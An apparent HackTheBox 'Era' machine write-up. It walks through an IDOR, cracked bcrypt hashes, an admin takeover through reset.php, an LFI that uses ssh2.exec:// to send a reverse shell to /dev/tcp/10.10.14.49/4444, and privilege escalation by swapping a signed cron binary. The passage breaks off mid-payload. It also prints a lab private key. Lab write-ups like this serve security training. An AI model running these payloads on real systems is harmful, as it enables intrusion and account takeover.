> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-era.md).

# HTB - Era

## Enumeration and Foothold

```powershell
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Browsing to port 80 reveals the domain era.htb. Add the domain to the hosts file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FY42NzYjWmWLdyZO9YAO7%2Fimage.png?alt=media&amp;token=82598193-04ae-4306-ae90-194b9c0f0e36" alt=""><figcaption></figcaption></figure>

also anonymous access on FTP port is blocked.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8XmzrRZTCDHwqVsLghDH%2Fimage.png?alt=media&amp;token=87d3daf2-0eba-4be8-ba8d-d78c1953907a" alt=""><figcaption></figcaption></figure>

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsT60apOvBi8sq78LDq0L%2Fimage.png?alt=media&amp;token=4727509a-9672-4f03-a783-2171d6458838" alt=""><figcaption></figcaption></figure>

possible user name on the web page.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1vvNkDT232yI2iuJInBP%2Fimage.png?alt=media&amp;token=bf626499-8a7a-4074-b3d6-cef9548301dc" alt=""><figcaption></figcaption></figure>

everything on the webpage seems to be static and nothing to do here.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F9u5Fx6eyDwjAAuA26GhO%2Fimage.png?alt=media&amp;token=612c8329-41d3-4f08-a2c2-6c492e5b8fdd" alt=""><figcaption></figcaption></figure>

gobuster gave a new vhost. add the domain to hosts file to access.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FerRG6stAsktTnqMFByOf%2Fimage.png?alt=media&amp;token=b9bb6285-2f10-4948-aac4-45cbbd313c7c" alt=""><figcaption></figcaption></figure>

the go option on any of the above results in redirect to signin. also there is another option to signin via security questions.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FaKIzsdan1ZjKux3k6me3%2Fimage.png?alt=media&amp;token=f2d35239-2b25-409b-b79e-31cd7f6562d9" alt=""><figcaption></figcaption></figure>

Directory search on the new subdomain gave a new directory called register.php which allows to register an account.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCQ4hvBZlaVNnoZ5I7XCj%2Fimage.png?alt=media&amp;token=ef9b37ee-1f9f-4a52-a504-0faea21184ab" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FkQlksGAM3u3EY3bu0gDx%2Fimage.png?alt=media&amp;token=bc499119-1147-4b04-83a1-a52238b0cbf0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FSXkKDTY5No7IMGAEyrle%2Fimage.png?alt=media&amp;token=d0815030-9f7e-4fc5-9133-4897f2c0e7db" alt=""><figcaption></figcaption></figure>

once registered we can use the creds to login to the application.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEwajtDkXwAEY7X7EmNyL%2Fimage.png?alt=media&amp;token=26c173f9-ac82-4a26-974b-413f09d3e063" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FBV1zfIn50BEuDbUwrsU8%2Fimage.png?alt=media&amp;token=7f4429f1-f90f-4b17-90b5-1dc55e3ac4d8" alt=""><figcaption></figcaption></figure>

there is an upload feature. Lets upload a file and see what’s happening.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTbcTFTIzMO49iIp8qaeO%2Fimage.png?alt=media&amp;token=f143812a-27a9-47e0-a92c-cf2550c7ae22" alt=""><figcaption></figcaption></figure>

the id parameter takes a numeric value which could be a potential place to exploit IDOR.

### IDOR

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FQcNphdCJ1fRTRsA95xyg%2Fimage.png?alt=media&amp;token=7b5b337a-628c-4baf-b8ea-0baf77defc19" alt=""><figcaption></figcaption></figure>

the link can be used to download the file locally. By checking if the download option is vulnerable to IDOR we can be able download files of other users.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0YZIIA6P7OE4wpHWRXcJ%2Fimage.png?alt=media&amp;token=f19876aa-c22d-4ac5-b8c3-cbc68eb46e17" alt=""><figcaption></figcaption></figure>

if the file exists, it responds with Download is ready.

i can use intruder to brute force to identify the files existing.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHjii2SD0fSqtYBSISCpA%2Fimage.png?alt=media&amp;token=4fc1fbc9-863f-433b-a0a3-721a8f6f86a5" alt=""><figcaption></figcaption></figure>

intruder gave id=54 as a successful hit which confirms the successful exploitation of IDOR.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FmEZeBcAzMPpDGOnpVYpE%2Fimage.png?alt=media&amp;token=09eeb6c1-85f2-4de8-8c97-41e85d2876c5" alt=""><figcaption></figcaption></figure>

id 54 referenced to a backup file. Download the file locally to inspect the backup file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdQbt3I1YrtxA4a9hBioD%2Fimage.png?alt=media&amp;token=6559705e-474f-4da4-9230-02688a1db5b6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPENFk9u1AujG9ojMYhIZ%2Fimage.png?alt=media&amp;token=2fec2e74-6c1b-4b41-bf82-686fef9c92cc" alt=""><figcaption></figcaption></figure>

there is an sqlite dataabse file.

```powershell
──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ sqlite3 filedb.sqlite ".tables"
files  users

──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ sqlite3 filedb.sqlite ".schema users"
CREATE TABLE users (
                user_id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_name varchar(255) NOT NULL,
                user_password varchar(255) NOT NULL,
                auto_delete_files_after int NOT NULL
                , security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ sqlite3 filedb.sqlite "SELECT * FROM users;"
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
```

The **admin account has security answers stored in plaintext** (unlike the other users).

* **Username:** `admin_ef01cab31aa`
* **Mother's maiden name:** `Maria`
* **First pet:** `Oliver`
* **City born:** `Ottawa`

Also i can use hashcat to crack the passwords.

```powershell
┌──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ sqlite3 filedb.sqlite "SELECT user_name || ':' || user_password FROM users;" > hashes.txt
cat hashes.txt
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
```

```powershell
$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang
```

`eric : america` and `yuri : mustang`

Since the admin security questions are displayed plainly i can try using them through log in via security questions to check if i can be able to access the admin panel.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1wwIljpW5x9ZzvFa2kUX%2Fimage.png?alt=media&amp;token=6c2f5449-c792-477a-9aa9-074a8bf493aa" alt=""><figcaption></figcaption></figure>

the security questions answers for admin result in incorrect answers.

there is also a reset.php file in backup file.

```powershell
┌──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ cat reset.php         
<?php
require_once('layout.php');
require_once('functions.global.php');

// Check session validity before outputting anything
if (!isset($_SESSION['eravalid']) || $_SESSION['eravalid'] !== true) {
    header('Location: login.php');
    exit();
}

// Output the page top with sidebar and main content container open
echo deliverTop("Era - Update Security Questions");

// Connect to SQLite3 database
$db = new SQLite3('filedb.sqlite');

// Initialize variables
$error_message = '';
$operation_successful = false;

// Process POST submission
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $username = trim($_POST['username'] ?? '');
    $new_answer1 = trim($_POST['new_answer1'] ?? '');
    $new_answer2 = trim($_POST['new_answer2'] ?? '');
    $new_answer3 = trim($_POST['new_answer3'] ?? '');

    if ($username === '' || $new_answer1 === '' || $new_answer2 === '' || $new_answer3 === '') {
        $error_message = "All fields are required.";
    } else {
        $query = "UPDATE users SET security_answer1 = ?, security_answer2 = ?, security_answer3 = ? WHERE user_name = ?";
        $stmt = $db->prepare($query);
        $stmt->bindValue(1, $new_answer1, SQLITE3_TEXT);
        $stmt->bindValue(2, $new_answer2, SQLITE3_TEXT);
        $stmt->bindValue(3, $new_answer3, SQLITE3_TEXT);
        $stmt->bindValue(4, $username, SQLITE3_TEXT);

        if ($stmt->execute()) {
            $operation_successful = true;
        } else {
            $error_message = "Error updating security questions. Please try again.";
        }
    }
}
?>
<SNIP>
```

```powershell
$query = "UPDATE users SET security_answer1 = ?, security_answer2 = ?, security_answer3 = ? WHERE user_name = ?";
```

It checks that you're logged in `($_SESSION['eravalid'])`, but it does not check that the username field matches your own username. It blindly updates whichever user\_name you supply in the POST body. That means, as your own regular logged-in user, you can overwrite the admin's security answers to values you choose  then log in as admin via security\_login.php with your new answers.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7BHfKPLuMP3K1XTxjXjT%2Fimage.png?alt=media&amp;token=e6c94cb9-896a-4b53-ab5a-14500e9913ea" alt=""><figcaption></figcaption></figure>

once setup, can use them via the log in through security questions to log in.

### Access as Admin

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYuvisoCt0EgbIkUtfTEE%2Fimage.png?alt=media&amp;token=e4746a8e-6f1f-4dd1-a823-3d4337bc4a5b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7aiUaRXYb7akppq6We6t%2Fimage.png?alt=media&amp;token=a39463ed-0108-449c-a7cd-34bb1621475b" alt=""><figcaption></figcaption></figure>

There is a signing.zip file in the admin panel we can download it to see what it contains.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F2aaDwipygaw6b0MNDUho%2Fimage.png?alt=media&amp;token=48555195-2b72-42b0-a9b5-09611895beff" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1218xZFnD0loQrD8RMXp%2Fimage.png?alt=media&amp;token=c373b7fe-09a3-459c-a462-8be444852a3c" alt=""><figcaption></figcaption></figure>

```powershell
┌──(ajay㉿kali)-[~/Downloads/signing]
└─$ ls
key.pem  x509.genkey
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~/Downloads/signing]
└─$ cat x509.genkey        
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com

[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~/Downloads/signing]
└─$ openssl x509 -in signing/key.pem -text -noout 2>/dev/null || cat key.pem   
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDajCCAlKgAwIBAgIUbWNKqYHhk6HkSMUgX/ebhOa29QswDQYJKoZIhvcNAQEL
BQAwTzERMA8GA1UECgwIRXJhIEluYy4xGTAXBgNVBAMMEEVMRiB2ZXJpZmljYXRp
b24xHzAdBgkqhkiG9w0BCQEWEHl1cml2aWNoQGVyYS5jb20wIBcNMjUwMTI2MDIw
OTM1WhgPMjEyNTAxMDIwMjA5MzVaME8xETAPBgNVBAoMCEVyYSBJbmMuMRkwFwYD
VQQDDBBFTEYgdmVyaWZpY2F0aW9uMR8wHQYJKoZIhvcNAQkBFhB5dXJpdmljaEBl
cmEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqih99PkWY5MY
lSTJ7gem9XQ21lGsN6dkMkL1jGxb7Iu8xtZBNiwayo7BMr3MaPJtMC/X3rhYjpXI
gzGphCzAFtFIzMnsNNfkvmwBHDmsB/NW1WocTZAOIR4vXf68rE3v3ZzZIdPCoB4c
xZkwKY21dDEMFAzi10sPXh3ftVSQpcIcALC+MXZOKUEunQLiRJ8dyMzaENt3/nT6
kwjAAFkk+u1T2Y0o8FtfxxzYtdnj3sBCURgftivmHho/pcUoVvyNY2BB57Dq5YjN
oWbzi6kvS44anyPfkNUcSEBevcgBFHjeJWLqWtBoa9ofemC0ROWMl2gcXUgOICxj
lR2YDJdovwIDAQABozwwOjAMBgNVHRMBAf8EAjAAMAsGA1UdDwQEAwIHgDAdBgNV
HQ4EFgQU/XYF/LzWBMr+NhZw/PHUlQHb0s0wDQYJKoZIhvcNAQELBQADggEBAAzE
eNQxIJH6Z8vOvP8g1OoyD0Ot9E8U/PdxlM7QWqk9qcH0xyQZqg7Ee5L/kq4y/1i1
ZxAPlBfOUx4KhZgWVkStfvut0Ilg3VSXVntPPRi8WAcDV5nivYtphv16ZQkaclFy
dN0mYQc2NlqDv+y5FKnGbkioRUVGGmkIqeaT4HIUA2CFRnTr2Jao0TwAIG0jfpov
+y/t2WhUNto9L04vcD3ZAzuEPZnqs/L9rsoDZ1Ee3DxnOC7l3PkklaIiDrXiHAkd
Nrg7N9XCeQr0FUS0xLMBMVCEJT2TCo6lXKtcI5A5FgAcyECDzkw+HdgSYFPaoYJq
5rxH+xhuDqRDr941Sg4=
-----END CERTIFICATE-----
```

But ssh port is not open on the machine so cant do anything with these.

Also earlier i found credentials for yuri and eric i can try using them against the ftp port.

### FTP access as Yuri

creds for yuri works.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FSwbcsn3Fr1FsMgkdaAe1%2Fimage.png?alt=media&amp;token=c162e8b6-645d-4948-9d71-2d718d16dfad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRXYtfhxab7X17KpeRjuI%2Fimage.png?alt=media&amp;token=1819bca4-3845-447c-89b9-22438eeabc86" alt=""><figcaption></figcaption></figure>

There’s no need to collect all these files, but it is worth noting the extensions available to PHP, specifically `ssh2.so`.

The website `file.era.htb` has a file download functionality with an LFI (Local File Inclusion) vulnerability in `download.php`.

The `show` parameter allows PHP wrappers, and the server has `ssh2.so` enabled

```powershell
──(ajay㉿kali)-[~/Downloads/site-backup]
└─$ cat download.php 
<?php

require_once('functions.global.php');
require_once('layout.php');

function deliverMiddle_download($title, $subtitle, $content) {
    return '
    <main style="
        display: flex; 
        flex-direction: column; 
        align-items: center; 
        justify-content: center; 
        height: 80vh; 
        text-align: center;
        padding: 2rem;
    ">
        <h1>' . htmlspecialchars($title) . '</h1>
        <p>' . htmlspecialchars($subtitle) . '</p>
        <div>' . $content . '</div>
    </main>
    ';
}

if (!isset($_GET['id'])) {
        header('location: index.php'); // user loaded without requesting file by id
        die();
}

if (!is_numeric($_GET['id'])) {
        header('location: index.php'); // user requested non-numeric (invalid) file id
        die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
        echo deliverTop("Era - Download");

        echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

        echo deliverBottom();
} else {
        $fileName = str_replace("files/", "", $fetched[0]);

        // Allow immediate file download
        if ($_GET['dl'] === "true") {

                header('Content-Type: application/octet-stream');
                header("Content-Transfer-Encoding: Binary");
                header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
                readfile($fetched[0]);
        // BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }

        // Allow simple download
        } else {
                echo deliverTop("Era - Download");
                echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');

        }

}

?>
                                                                                          
```

The admin-only show feature can be accessed via:

```powershell
download.php?id=1&show=true&format=php://filter/convert.base64-encode/resource=
```

### LFI to RCE

Lets upload a image file first

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FCiEVUKIV4ZzS4uYKuHgN%2Fimage.png?alt=media&amp;token=ac117365-17ba-4f69-9f16-1c9aadbc129a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIumAPqVT3E8eRZfoNga7%2Fimage.png?alt=media&amp;token=84550e90-4a33-415b-9a6c-c6ca7c40e962" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4tHqaygZly4qn0Hjj6Un%2Fimage.png?alt=media&amp;token=50f3a543-9fd7-4770-a500-319e8d1f185a" alt=""><figcaption></figcaption></figure>

thats said i can try getting reverse shell.

```powershell
GET /download.php?id=8547&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.49/4444+0>%261'%23  HTTP/1.1
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FSNoGivoo052BStQhslyZ%2Fimage.png?alt=media&amp;token=9a992ed8-5f59-492e-88c0-0977f560b2b7" alt=""><figcaption></figcaption></figure>

## Shell as Eric

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbVm2HLQHwL7QHot0eX6x%2Fimage.png?alt=media&amp;token=92dd7c19-4349-449b-9e0b-d49ae1839a5a" alt=""><figcaption></figcaption></figure>

```powershell
eric@era:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
eric@era:~$ export TERM=xterm
export TERM=xterm
eric@era:~$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FOjA2cot4W16JbItuaff2%2Fimage.png?alt=media&amp;token=25dc92fa-0980-4157-bb74-a8f97efb1902" alt=""><figcaption></figcaption></figure>

checking the id result on the eric shell gives eric is part of devs group.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXJeQbodGLUdu2zJNb8dx%2Fimage.png?alt=media&amp;token=67e6ecb4-cbb3-4c9e-a716-b2aaad2308c7" alt=""><figcaption></figcaption></figure>

We found a custom binary in `/opt/AV/periodic-checks/monitor` owned by the `devs` group.

```powershell
eric@era:~$ find / -group devs -type f 2>/dev/null
find / -group devs -type f 2>/dev/null
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log
eric@era:~$ 
eric@era:~$ cd cd /opt/AV/periodic-checks/
cd /opt/AV/periodic-checks/
eric@era:/opt/AV/periodic-checks$ ls -la
ls -la
total 32
drwxrwxr-- 2 root devs  4096 Aug  5 17:40 .
drwxrwxr-- 3 root devs  4096 Jul 22  2025 ..
-rwxrw---- 1 root devs 16544 Aug  5 17:40 monitor
-rw-rw---- 1 root devs   205 Aug  5 17:40 status.log
eric@era:/opt/AV/periodic-checks$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fhu2K6xE3KX2HEh4MJjuA%2Fimage.png?alt=media&amp;token=60de1188-f282-4f46-a004-4118de11e69c" alt=""><figcaption></figcaption></figure>

the file being modified everyminute which suggest probably a cron is updating it.

i wil upload pspy64 to monitor for root processes.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLC5vcmbhvf4renf72AqL%2Fimage.png?alt=media&amp;token=1ab30a5d-0b1a-4011-b1bb-29cf03b3dc13" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYtNyDIj3TDEVdKs0FN94%2Fimage.png?alt=media&amp;token=69499d58-2fe2-4a48-a3f2-65b15aa78e5a" alt=""><figcaption></figcaption></figure>

1. **Cron runs as root** every minute (`/usr/sbin/CRON -f -P`)
2. It executes `/root/initiate_monitoring.sh` as root
3. That script runs `/opt/AV/periodic-checks/monitor` as root
4. It's running **every minute** (at :44, :45, etc.)

This gives us a 1-minute window to replace the monitor binary and get root!

### Privilege Escalation to Root

Check the status.log to see any errors:

```
tail -f /opt/AV/periodic-checks/status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: can't dump section '.text_sig' - it does not exist: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
```

The script verifies the binary by checking for a `.text_sig` section using `objcopy`. If we replace the binary, the signature check fails.

We need to extract the signature from the original binary and add it to our malicious binary.

```
cd /opt/AV/periodic-checks/
cp monitor monitor.bak
objcopy --dump-section .text_sig=text_sig_section.bin monitor.bak
```

Create a C program that makes `/bin/bash` SUID root:

```powershell
cat > evil.c << 'EOF'
